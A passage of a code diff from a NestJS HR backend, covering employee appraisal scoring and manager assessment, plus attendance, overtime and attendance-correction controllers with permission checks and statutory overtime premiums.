score: byCode.get(rating.code)!.score,
|
||||
})),
|
||||
);
|
||||
|
||||
await manager.getRepository(Appraisal).update(appraisal.id, {
|
||||
selfScore: selfScore.toFixed(2),
|
||||
selfComment: dto.comment ?? null,
|
||||
selfSubmittedAt: new Date(),
|
||||
status: EAppraisalStatus.PENDING_MANAGER,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
});
|
||||
|
||||
return this.findOne(id, actor);
|
||||
}
|
||||
|
||||
/**
|
||||
* The manager's assessment, which decides the outcome.
|
||||
*
|
||||
* Nobody appraises themselves, whatever permission they hold — that is the one
|
||||
* rule an appraisal process exists to enforce.
|
||||
*/
|
||||
async submitManager(
|
||||
id: string,
|
||||
dto: SubmitManagerDto,
|
||||
actor: ActorContext,
|
||||
): Promise<Appraisal> {
|
||||
const appraisal = await this.findOne(id, actor);
|
||||
if (appraisal.status !== EAppraisalStatus.PENDING_MANAGER) {
|
||||
throw new BadRequestException(
|
||||
`Manager assessment is not open — this appraisal is ` +
|
||||
`${appraisal.status.toLowerCase().replace(/_/g, " ")}.`,
|
||||
);
|
||||
}
|
||||
if (appraisal.employeeId === actor.employeeId) {
|
||||
throw new ForbiddenException("You cannot appraise yourself.");
|
||||
}
|
||||
|
||||
const cycle = await this.requireCycle(appraisal.cycleId, actor);
|
||||
const template = await this.getTemplate(cycle.templateId, actor);
|
||||
|
||||
const byCode = new Map(dto.ratings.map((rating) => [rating.code, rating]));
|
||||
const missing = (appraisal.ratings ?? []).filter(
|
||||
(rating) => !byCode.has(rating.code),
|
||||
);
|
||||
if (missing.length > 0) {
|
||||
throw new BadRequestException(
|
||||
`Every criterion needs a score. Missing: ${missing
|
||||
.map((rating) => rating.code)
|
||||
.join(", ")}.`,
|
||||
);
|
||||
}
|
||||
|
||||
const managerScore = AppraisalService.weightedScore(
|
||||
(appraisal.ratings ?? []).map((rating) => {
|
||||
const input = byCode.get(rating.code)!;
|
||||
AppraisalService.assertScore(input.score, Number(rating.maxScore), rating.code);
|
||||
return {
|
||||
weight: Number(rating.weight),
|
||||
maxScore: Number(rating.maxScore),
|
||||
score: input.score,
|
||||
};
|
||||
}),
|
||||
);
|
||||
|
||||
const rating = AppraisalService.bandFor(managerScore, template.ratingBands);
|
||||
// Acknowledgement is where the employee gets to reply. Skipping it when the
|
||||
// template does not require one completes the review immediately.
|
||||
const nextStatus = template.requiresAcknowledgement
|
||||
? EAppraisalStatus.PENDING_ACKNOWLEDGEMENT
|
||||
: EAppraisalStatus.COMPLETED;
|
||||
|
||||
await this.dataSource.transaction(async (manager) => {
|
||||
for (const existing of appraisal.ratings ?? []) {
|
||||
const input = byCode.get(existing.code)!;
|
||||
await manager.getRepository(AppraisalRating).update(existing.id, {
|
||||
managerScore: input.score.toFixed(2),
|
||||
managerComment: input.comment ?? null,
|
||||
});
|
||||
}
|
||||
for (const goal of dto.goals ?? []) {
|
||||
if (!goal.id) continue;
|
||||
await manager.getRepository(AppraisalGoal).update(goal.id, {
|
||||
achievementPercent:
|
||||
goal.achievementPercent !== undefined
|
||||
? goal.achievementPercent.toFixed(2)
|
||||
: null,
|
||||
managerComment: goal.comment ?? null,
|
||||
});
|
||||
}
|
||||
await manager.getRepository(Appraisal).update(appraisal.id, {
|
||||
managerScore: managerScore.toFixed(2),
|
||||
// The manager's score IS the final score. Averaging it with the
|
||||
// employee's own would let anyone raise their result by rating
|
||||
// themselves highly.
|
||||
finalScore: managerScore.toFixed(2),
|
||||
finalRating: rating,
|
||||
managerComment: dto.comment ?? null,
|
||||
managerSubmittedAt: new Date(),
|
||||
acknowledgedAt: nextStatus === EAppraisalStatus.COMPLETED ? new Date() : null,
|
||||
status: nextStatus,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
});
|
||||
|
||||
return this.findOne(id, actor);
|
||||
}
|
||||
|
||||
/** The employee's right of reply. Cannot change the score. */
|
||||
async acknowledge(
|
||||
id: string,
|
||||
comment: string | undefined,
|
||||
actor: ActorContext,
|
||||
): Promise<Appraisal> {
|
||||
const appraisal = await this.findOne(id, actor);
|
||||
if (appraisal.employeeId !== actor.employeeId) {
|
||||
throw new ForbiddenException("This is not your appraisal.");
|
||||
}
|
||||
if (appraisal.status !== EAppraisalStatus.PENDING_ACKNOWLEDGEMENT) {
|
||||
throw new BadRequestException(
|
||||
`There is nothing to acknowledge — this appraisal is ` +
|
||||
`${appraisal.status.toLowerCase().replace(/_/g, " ")}.`,
|
||||
);
|
||||
}
|
||||
await this.appraisals.update(id, {
|
||||
employeeComment: comment ?? null,
|
||||
acknowledgedAt: new Date(),
|
||||
status: EAppraisalStatus.COMPLETED,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
return this.findOne(id, actor);
|
||||
}
|
||||
|
||||
async addGoal(
|
||||
appraisalId: string,
|
||||
dto: { title: string; description?: string; target?: string; weight?: string },
|
||||
actor: ActorContext,
|
||||
): Promise<AppraisalGoal> {
|
||||
const appraisal = await this.findOne(appraisalId, actor);
|
||||
if (appraisal.status === EAppraisalStatus.COMPLETED) {
|
||||
throw new BadRequestException(
|
||||
"This appraisal is complete; goals cannot be added to it now.",
|
||||
);
|
||||
}
|
||||
const count = await this.goals.count({ where: { appraisalId } });
|
||||
return this.goals.save(
|
||||
this.goals.create({
|
||||
appraisalId,
|
||||
...dto,
|
||||
sortOrder: (count + 1) * 10,
|
||||
} as unknown as Partial<AppraisalGoal>),
|
||||
);
|
||||
}
|
||||
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* The weighted percentage.
|
||||
*
|
||||
* Each criterion contributes `score / maxScore × weight`. With weights totalling
|
||||
* 100 the result is directly a percentage, which is why the total is enforced.
|
||||
*/
|
||||
static weightedScore(
|
||||
entries: { weight: number; maxScore: number; score: number }[],
|
||||
): number {
|
||||
const total = entries.reduce((sum, entry) => {
|
||||
if (entry.maxScore <= 0) return sum;
|
||||
return sum + (entry.score / entry.maxScore) * entry.weight;
|
||||
}, 0);
|
||||
return round2(Math.min(100, Math.max(0, total)));
|
||||
}
|
||||
|
||||
/** The band a percentage falls in. Highest matching band wins. */
|
||||
static bandFor(score: number, bands: RatingBand[]): string | null {
|
||||
const sorted = [...(bands ?? [])].sort((a, b) => b.min - a.min);
|
||||
const band = sorted.find((entry) => score >= entry.min);
|
||||
return band?.label?.en ?? null;
|
||||
}
|
||||
|
||||
private static assertWeights(weights: number[]): void {
|
||||
if (weights.length === 0) {
|
||||
throw new BadRequestException("A template needs at least one criterion.");
|
||||
}
|
||||
const total = round2(weights.reduce((sum, weight) => sum + weight, 0));
|
||||
if (total !== REQUIRED_WEIGHT_TOTAL) {
|
||||
throw new BadRequestException(
|
||||
`Criterion weights must total ${REQUIRED_WEIGHT_TOTAL}, not ${total}. ` +
|
||||
"Otherwise a score cannot be read as a percentage or compared between " +
|
||||
"employees.",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private static assertBands(bands: RatingBand[]): void {
|
||||
for (const band of bands) {
|
||||
if (band.min < 0 || band.min > 100) {
|
||||
throw new BadRequestException(
|
||||
`Rating band "${band.label?.en}" starts at ${band.min}; bands are ` +
|
||||
"percentages between 0 and 100.",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static assertScore(score: number, maxScore: number, code: string): void {
|
||||
if (score < 0 || score > maxScore) {
|
||||
throw new BadRequestException(
|
||||
`${code} scored ${score}, but the scale runs 0 to ${maxScore}.`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/** Employed people with an HR profile — a terminated employee is not appraised. */
|
||||
private async eligibleEmployees(organizationId: string): Promise<string[]> {
|
||||
const rows = await this.dataSource.query<{ employeeId: string }[]>(
|
||||
`SELECT p."employee_id" AS "employeeId"
|
||||
FROM hr.employee_profiles p
|
||||
JOIN iam.employees e ON e.id = p."employee_id"
|
||||
WHERE p."deleted_at" IS NULL
|
||||
AND e."organization_id" = $1::uuid
|
||||
AND p."employment_state" NOT IN ('TERMINATED','RETIRED')`,
|
||||
[organizationId],
|
||||
);
|
||||
return rows.map((row) => row.employeeId);
|
||||
}
|
||||
|
||||
private requireOrg(actor: ActorContext): string {
|
||||
const organizationId = orgScope(actor) ?? actor.organizationId;
|
||||
if (!organizationId) {
|
||||
throw new BadRequestException(
|
||||
"This account has no organization, and an appraisal template belongs to one.",
|
||||
);
|
||||
}
|
||||
return organizationId;
|
||||
}
|
||||
|
||||
private async requireCycle(id: string, actor: ActorContext): Promise<AppraisalCycle> {
|
||||
const cycle = await this.cycles.findOne({ where: { id } });
|
||||
if (!cycle) throw new NotFoundException(`Cycle ${id} not found`);
|
||||
const scope = orgScope(actor);
|
||||
if (scope && cycle.organizationId !== scope) {
|
||||
throw new NotFoundException(`Cycle ${id} not found`);
|
||||
}
|
||||
return cycle;
|
||||
}
|
||||
}
|
||||
71
apps/edr-hr-api/src/modules/attendance/attendance.module.ts
Normal file
71
apps/edr-hr-api/src/modules/attendance/attendance.module.ts
Normal file
@@ -0,0 +1,71 @@
|
||||
import { Module } from "@nestjs/common";
|
||||
import { TypeOrmModule } from "@nestjs/typeorm";
|
||||
|
||||
import { WorkSchedule } from "./entities/work-schedule.entity";
|
||||
import { WorkScheduleAssignment } from "./entities/work-schedule-assignment.entity";
|
||||
import { AttendanceRecord } from "./entities/attendance-record.entity";
|
||||
import { AttendanceRegularization } from "./entities/attendance-regularization.entity";
|
||||
import { OvertimeRate, OvertimeRequest } from "./entities/overtime.entity";
|
||||
import {
|
||||
WorkScheduleAssignmentsRepository,
|
||||
WorkSchedulesRepository,
|
||||
} from "./repositories/work-schedules.repository";
|
||||
import { AttendanceRepository } from "./repositories/attendance.repository";
|
||||
import { WorkSchedulesService } from "./services/work-schedules.service";
|
||||
import { AttendanceService } from "./services/attendance.service";
|
||||
import { AttendanceDayService } from "./services/attendance-day.service";
|
||||
import { OvertimeService } from "./services/overtime.service";
|
||||
import { RegularizationsService } from "./services/regularizations.service";
|
||||
import { WorkSchedulesController } from "./controllers/work-schedules.controller";
|
||||
import { AttendanceController } from "./controllers/attendance.controller";
|
||||
import { OvertimeController } from "./controllers/overtime.controller";
|
||||
import { RegularizationsController } from "./controllers/regularizations.controller";
|
||||
import { LeaveModule } from "../leave/leave.module";
|
||||
import { EmployeesModule } from "../employees/employees.module";
|
||||
|
||||
/**
|
||||
* Module 3.3 slice 1.
|
||||
*
|
||||
* Depends on LeaveModule rather than re-deriving the calendar: the working week,
|
||||
* the holidays and approved leave all live there, and a second implementation
|
||||
* would eventually disagree with the first about whether a given day was
|
||||
* workable.
|
||||
*/
|
||||
@Module({
|
||||
imports: [
|
||||
TypeOrmModule.forFeature([
|
||||
WorkSchedule,
|
||||
WorkScheduleAssignment,
|
||||
AttendanceRecord,
|
||||
AttendanceRegularization,
|
||||
OvertimeRate,
|
||||
OvertimeRequest,
|
||||
]),
|
||||
LeaveModule,
|
||||
EmployeesModule,
|
||||
],
|
||||
controllers: [
|
||||
WorkSchedulesController,
|
||||
AttendanceController,
|
||||
OvertimeController,
|
||||
RegularizationsController,
|
||||
],
|
||||
providers: [
|
||||
WorkSchedulesRepository,
|
||||
WorkScheduleAssignmentsRepository,
|
||||
AttendanceRepository,
|
||||
WorkSchedulesService,
|
||||
AttendanceService,
|
||||
AttendanceDayService,
|
||||
OvertimeService,
|
||||
RegularizationsService,
|
||||
],
|
||||
// Payroll (3.4) prices overtime and absence from these records.
|
||||
exports: [
|
||||
AttendanceService,
|
||||
WorkSchedulesService,
|
||||
AttendanceRepository,
|
||||
OvertimeService,
|
||||
],
|
||||
})
|
||||
export class AttendanceModule {}
|
||||
@@ -0,0 +1,228 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
ForbiddenException,
|
||||
Get,
|
||||
Param,
|
||||
ParseIntPipe,
|
||||
ParseUUIDPipe,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import {
|
||||
ApiBearerAuth,
|
||||
ApiOperation,
|
||||
ApiQuery,
|
||||
ApiResponse,
|
||||
ApiTags,
|
||||
} from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { hasHrPermission } from "../../../common/hr-permission.util";
|
||||
import { AttendanceService } from "../services/attendance.service";
|
||||
import {
|
||||
EAttendanceSource,
|
||||
EAttendanceStatus,
|
||||
} from "../entities/attendance-record.entity";
|
||||
import { PunchDto, RecordAttendanceDto } from "../dto/attendance.dto";
|
||||
|
||||
@ApiTags("attendance")
|
||||
@ApiBearerAuth()
|
||||
@Controller("attendance")
|
||||
@HrStaff([
|
||||
HR_PERMS.attendance.record,
|
||||
HR_PERMS.attendance.viewOwn,
|
||||
HR_PERMS.attendance.viewAll,
|
||||
])
|
||||
export class AttendanceController {
|
||||
constructor(private readonly attendance: AttendanceService) {}
|
||||
|
||||
@Post("check-in")
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({
|
||||
summary: "Clock in",
|
||||
description:
|
||||
"Refuses a second check-in for the same day rather than overwriting the " +
|
||||
"first — the earliest punch decides lateness. Also refuses a day already " +
|
||||
"covered by approved leave.",
|
||||
})
|
||||
@ApiResponse({ status: 409, description: "Already checked in, or on leave" })
|
||||
checkIn(@Body() dto: PunchDto, @CurrentUser() user: TCurrentUser) {
|
||||
const actor = actorFrom(user);
|
||||
const employeeId = this.resolveTarget(dto.employeeId, actor, user);
|
||||
return this.attendance.checkIn(
|
||||
employeeId,
|
||||
dto.at ? new Date(dto.at) : new Date(),
|
||||
dto.source ?? EAttendanceSource.WEB,
|
||||
actor,
|
||||
dto.notes,
|
||||
);
|
||||
}
|
||||
|
||||
@Post("check-out")
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({
|
||||
summary: "Clock out",
|
||||
description:
|
||||
"Settles the day: worked minutes less the scheduled break, lateness past " +
|
||||
"the grace period, and the resulting status.",
|
||||
})
|
||||
checkOut(@Body() dto: PunchDto, @CurrentUser() user: TCurrentUser) {
|
||||
const actor = actorFrom(user);
|
||||
const employeeId = this.resolveTarget(dto.employeeId, actor, user);
|
||||
return this.attendance.checkOut(
|
||||
employeeId,
|
||||
dto.at ? new Date(dto.at) : new Date(),
|
||||
dto.source ?? EAttendanceSource.WEB,
|
||||
actor,
|
||||
dto.notes,
|
||||
);
|
||||
}
|
||||
|
||||
@Get("today")
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({ summary: "My record for today — what the clock widget shows" })
|
||||
today(@CurrentUser() user: TCurrentUser) {
|
||||
const actor = actorFrom(user);
|
||||
if (!actor.employeeId) {
|
||||
throw new ForbiddenException(
|
||||
"This account has no employee record, so it has no attendance.",
|
||||
);
|
||||
}
|
||||
return this.attendance.today(actor.employeeId, new Date());
|
||||
}
|
||||
|
||||
@Get("mine")
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({ summary: "My attendance over a range" })
|
||||
@ApiQuery({ name: "from", required: true })
|
||||
@ApiQuery({ name: "to", required: true })
|
||||
mine(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("from") from: string,
|
||||
@Query("to") to: string,
|
||||
) {
|
||||
const actor = actorFrom(user);
|
||||
if (!actor.employeeId) {
|
||||
throw new ForbiddenException(
|
||||
"This account has no employee record, so it has no attendance.",
|
||||
);
|
||||
}
|
||||
return this.attendance.findRange(actor.employeeId, from, to);
|
||||
}
|
||||
|
||||
@Get("summary")
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({
|
||||
summary: "Counts by status over a range",
|
||||
description: "Omit employeeId for the whole organisation (needs view-all).",
|
||||
})
|
||||
@ApiQuery({ name: "employeeId", required: false })
|
||||
summary(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("from") from: string,
|
||||
@Query("to") to: string,
|
||||
@Query("employeeId") employeeId?: string,
|
||||
) {
|
||||
const actor = actorFrom(user);
|
||||
// Without view-all, the summary is scoped to the caller whatever they ask
|
||||
// for — otherwise it is an aggregate leak of everyone else's attendance.
|
||||
const scoped = hasHrPermission(user, HR_PERMS.attendance.viewAll)
|
||||
? employeeId
|
||||
: (actor.employeeId ?? undefined);
|
||||
return this.attendance.summary(from, to, actor, scoped);
|
||||
}
|
||||
|
||||
@Get()
|
||||
@HrStaff(HR_PERMS.attendance.viewAll)
|
||||
@ApiOperation({ summary: "All attendance records" })
|
||||
@ApiQuery({ name: "employeeId", required: false })
|
||||
@ApiQuery({ name: "status", required: false, enum: EAttendanceStatus })
|
||||
findAll(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("employeeId") employeeId?: string,
|
||||
@Query("status") status?: EAttendanceStatus,
|
||||
@Query("from") from?: string,
|
||||
@Query("to") to?: string,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
return this.attendance.findAll(
|
||||
{ employeeId, status, from, to, page, limit },
|
||||
actorFrom(user),
|
||||
);
|
||||
}
|
||||
|
||||
@Get("employee/:employeeId")
|
||||
@HrStaff(HR_PERMS.attendance.viewAll)
|
||||
@ApiOperation({ summary: "One employee's attendance over a range" })
|
||||
forEmployee(
|
||||
@Param("employeeId", ParseUUIDPipe) employeeId: string,
|
||||
@Query("from") from: string,
|
||||
@Query("to") to: string,
|
||||
) {
|
||||
return this.attendance.findRange(employeeId, from, to);
|
||||
}
|
||||
|
||||
@Post("record")
|
||||
@HrStaff(HR_PERMS.attendance.record)
|
||||
@ApiOperation({
|
||||
summary: "Record a day by hand",
|
||||
description:
|
||||
"For an administrator filling a gap. Recorded with source MANUAL so a " +
|
||||
"report can tell asserted attendance from observed attendance.",
|
||||
})
|
||||
record(@Body() dto: RecordAttendanceDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.attendance.recordManually(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post("backfill/:employeeId")
|
||||
@HrStaff(HR_PERMS.attendance.record)
|
||||
@ApiOperation({
|
||||
summary: "Fill in the days nobody punched for",
|
||||
description:
|
||||
"Classifies each missing day as a rest day, holiday, approved leave or " +
|
||||
"absence. Never touches an existing record, so it is safe to re-run.",
|
||||
})
|
||||
@ApiResponse({ status: 201, description: "{ created, skipped, byStatus }" })
|
||||
backfill(
|
||||
@Param("employeeId", ParseUUIDPipe) employeeId: string,
|
||||
@Query("from") from: string,
|
||||
@Query("to") to: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.attendance.backfill(employeeId, from, to, actorFrom(user));
|
||||
}
|
||||
|
||||
/**
|
||||
* Punching for somebody else is an administrative act, not self-service.
|
||||
* Without the record permission the target is always the caller — supplying
|
||||
* another id is refused rather than quietly ignored, since silently punching
|
||||
* for the wrong person is worse than an error.
|
||||
*/
|
||||
private resolveTarget(
|
||||
requested: string | undefined,
|
||||
actor: ReturnType<typeof actorFrom>,
|
||||
user: TCurrentUser,
|
||||
): string {
|
||||
if (!requested || requested === actor.employeeId) {
|
||||
if (!actor.employeeId) {
|
||||
throw new ForbiddenException(
|
||||
"This account has no employee record, so it cannot clock in or out.",
|
||||
);
|
||||
}
|
||||
return actor.employeeId;
|
||||
}
|
||||
if (!hasHrPermission(user, HR_PERMS.attendance.record)) {
|
||||
throw new ForbiddenException(
|
||||
"Recording attendance for another employee needs the attendance-record " +
|
||||
"permission.",
|
||||
);
|
||||
}
|
||||
return requested;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Get,
|
||||
Param,
|
||||
ParseIntPipe,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import {
|
||||
ApiBearerAuth,
|
||||
ApiOperation,
|
||||
ApiQuery,
|
||||
ApiResponse,
|
||||
ApiTags,
|
||||
} from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { OvertimeService } from "../services/overtime.service";
|
||||
import { EOvertimeStatus } from "../entities/overtime.entity";
|
||||
import {
|
||||
CreateOvertimeDto,
|
||||
DecideDto,
|
||||
RejectDto,
|
||||
UpdateOvertimeRateDto,
|
||||
} from "../dto/overtime.dto";
|
||||
|
||||
@ApiTags("overtime")
|
||||
@ApiBearerAuth()
|
||||
@Controller("overtime")
|
||||
@HrStaff([
|
||||
HR_PERMS.attendance.requestOvertime,
|
||||
HR_PERMS.attendance.approveOvertime,
|
||||
HR_PERMS.attendance.viewOwn,
|
||||
HR_PERMS.attendance.viewAll,
|
||||
])
|
||||
export class OvertimeController {
|
||||
constructor(private readonly overtime: OvertimeService) {}
|
||||
|
||||
@Get("rates")
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({
|
||||
summary: "The premiums paid for each category",
|
||||
description:
|
||||
"Visible to anyone who can claim overtime — the multiplier is what their " +
|
||||
"claim is worth.",
|
||||
})
|
||||
rates(@CurrentUser() user: TCurrentUser) {
|
||||
return this.overtime.listRates(actorFrom(user));
|
||||
}
|
||||
|
||||
@Post("rates/seed-statutory")
|
||||
@HrStaff(HR_PERMS.attendance.approveOvertime)
|
||||
@ApiOperation({
|
||||
summary: "Seed the statutory premiums",
|
||||
description:
|
||||
"Proclamation 1156/2019 Art. 68 — 1.5× ordinary, 1.75× night, 2× on a " +
|
||||
"rest day, 2.5× on a public holiday. Idempotent; an existing rate is " +
|
||||
"never lowered back to the floor.",
|
||||
})
|
||||
seed(@CurrentUser() user: TCurrentUser) {
|
||||
return this.overtime.seedStatutory(actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch("rates/:id")
|
||||
@HrStaff(HR_PERMS.attendance.approveOvertime)
|
||||
@ApiOperation({
|
||||
summary: "Change a premium",
|
||||
description: "Refused below the statutory floor for that category.",
|
||||
})
|
||||
updateRate(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: UpdateOvertimeRateDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.overtime.updateRate(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post()
|
||||
@HrStaff(HR_PERMS.attendance.requestOvertime)
|
||||
@ApiOperation({
|
||||
summary: "Claim overtime",
|
||||
description:
|
||||
"The category is derived from when the work happened, not chosen — a " +
|
||||
"public holiday beats a rest day, which beats night, which beats " +
|
||||
"ordinary. The multiplier is frozen on the claim at this moment.",
|
||||
})
|
||||
@ApiResponse({
|
||||
status: 400,
|
||||
description: "Over the daily, monthly or annual cap in Art. 67",
|
||||
})
|
||||
create(@Body() dto: CreateOvertimeDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.overtime.create(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("mine")
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({ summary: "My overtime claims" })
|
||||
mine(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("status") status?: EOvertimeStatus,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
const actor = actorFrom(user);
|
||||
return this.overtime.findAll(
|
||||
{ employeeId: actor.employeeId ?? "", status, page, limit },
|
||||
actor,
|
||||
);
|
||||
}
|
||||
|
||||
@Get("awaiting-me")
|
||||
@HrStaff(HR_PERMS.attendance.approveOvertime)
|
||||
@ApiOperation({ summary: "Claims waiting on my decision" })
|
||||
awaitingMe(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
return this.overtime.findAwaitingMe(actorFrom(user), page, limit);
|
||||
}
|
||||
|
||||
@Get()
|
||||
@HrStaff(HR_PERMS.attendance.viewAll)
|
||||
@ApiOperation({ summary: "All overtime claims" })
|
||||
@ApiQuery({ name: "employeeId", required: false })
|
||||
@ApiQuery({ name: "status", required: false, enum: EOvertimeStatus })
|
||||
findAll(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("employeeId") employeeId?: string,
|
||||
@Query("status") status?: EOvertimeStatus,
|
||||
@Query("from") from?: string,
|
||||
@Query("to") to?: string,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
return this.overtime.findAll(
|
||||
{ employeeId, status, from, to, page, limit },
|
||||
actorFrom(user),
|
||||
);
|
||||
}
|
||||
|
||||
@Get("totals/:employeeId")
|
||||
@HrStaff(HR_PERMS.attendance.viewAll)
|
||||
@ApiOperation({
|
||||
summary: "Approved hours by category for a period",
|
||||
description: "What payroll multiplies. Approved claims only.",
|
||||
})
|
||||
totals(
|
||||
@Param("employeeId", ParseUUIDPipe) employeeId: string,
|
||||
@Query("from") from: string,
|
||||
@Query("to") to: string,
|
||||
) {
|
||||
return this.overtime.approvedTotals(employeeId, from, to);
|
||||
}
|
||||
|
||||
@Patch(":id/approve")
|
||||
@HrStaff(HR_PERMS.attendance.approveOvertime)
|
||||
@ApiOperation({
|
||||
summary: "Approve a claim",
|
||||
description:
|
||||
"Caps are re-checked here: other claims may have been approved since this " +
|
||||
"one was filed, and the monthly ceiling is about the total.",
|
||||
})
|
||||
approve(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: DecideDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.overtime.approve(id, dto.note, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/reject")
|
||||
@HrStaff(HR_PERMS.attendance.approveOvertime)
|
||||
@ApiOperation({ summary: "Reject a claim, with a reason" })
|
||||
reject(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: RejectDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.overtime.reject(id, dto.note, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/withdraw")
|
||||
@HrStaff(HR_PERMS.attendance.requestOvertime)
|
||||
@ApiOperation({ summary: "Withdraw a claim before a decision" })
|
||||
withdraw(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.overtime.withdraw(id, actorFrom(user));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Get,
|
||||
Param,
|
||||
ParseIntPipe,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import {
|
||||
ApiBearerAuth,
|
||||
ApiOperation,
|
||||
ApiQuery,
|
||||
ApiTags,
|
||||
} from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { RegularizationsService } from "../services/regularizations.service";
|
||||
import { ERegularizationStatus } from "../entities/attendance-regularization.entity";
|
||||
import { CreateRegularizationDto } from "../dto/regularization.dto";
|
||||
import { DecideDto, RejectDto } from "../dto/overtime.dto";
|
||||
|
||||
@ApiTags("attendance-regularizations")
|
||||
@ApiBearerAuth()
|
||||
@Controller("attendance-regularizations")
|
||||
@HrStaff([
|
||||
HR_PERMS.attendance.regularize,
|
||||
HR_PERMS.attendance.approveRegularization,
|
||||
HR_PERMS.attendance.viewOwn,
|
||||
HR_PERMS.attendance.viewAll,
|
||||
])
|
||||
export class RegularizationsController {
|
||||
constructor(private readonly regularizations: RegularizationsService) {}
|
||||
|
||||
@Post()
|
||||
@HrStaff(HR_PERMS.attendance.regularize)
|
||||
@ApiOperation({
|
||||
summary: "Ask to correct a punch",
|
||||
description:
|
||||
"For a forgotten clock-in, a mis-clock, or a device that was down. " +
|
||||
"Nothing changes until it is approved.",
|
||||
})
|
||||
create(
|
||||
@Body() dto: CreateRegularizationDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.regularizations.create(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("mine")
|
||||
@HrStaff(HR_PERMS.attendance.viewOwn)
|
||||
@ApiOperation({ summary: "My corrections" })
|
||||
mine(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("status") status?: ERegularizationStatus,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
const actor = actorFrom(user);
|
||||
return this.regularizations.findAll(
|
||||
